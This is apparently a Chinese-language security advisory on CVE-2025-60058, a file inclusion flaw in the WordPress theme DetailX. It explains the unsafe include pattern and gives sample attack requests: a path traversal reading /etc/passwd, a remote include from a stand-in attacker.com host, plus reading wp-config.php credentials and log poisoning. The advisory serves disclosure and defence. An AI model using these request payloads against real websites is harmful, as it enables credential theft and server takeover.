CVE-2025-60058CVE-2025-60058是WordPress主题DetailX中的一个高危安全漏洞,CVSS评分8.1,属于高危级别。该漏洞属于PHP远程文件包含(PHP Remote File Inclusion)类型,具体表现为对文件包含语句的控制不当。攻击者可利用此漏洞包含本地文件或远程文件,可能导致敏感信息泄露、服务器代码执行甚至完全接管服务器。DetailX是AncoraThemes开发的一款WordPress主题,广泛应用于各类网站。该漏洞由Patchstack团队的安全研究员发现并报告。由于该主题在文件包含处理方面缺乏严格的输入验证,攻击者可以通过构造恶意请求参数来触发文件包含功能,无需任何认证即可利用此漏洞,对使用该主题的网站构成严重安全威胁。
该漏洞存在于DetailX主题的文件处理逻辑中,攻击者可以通过URL参数控制被包含的文件路径。主题在处理include或require语句时,未对用户输入进行充分的过滤和验证。攻击者可以通过构造类似?file=../../../../etc/passwd的请求来读取服务器敏感文件,或者通过?file=http://attacker.com/malicious.txt来包含远程恶意文件。由于PHP的allow_url_include配置(默认关闭),远程文件包含需要特定配置条件,但本地文件包含在任何情况下都可被利用。攻击者可能利用此漏洞读取wp-config.php获取数据库凭证,或通过日志文件注入PHP代码后进行包含实现代码执行。漏洞的根本原因在于使用了类似include $_GET['file']的不安全代码模式,缺少dirname(__FILE__)、basename()等安全函数保护。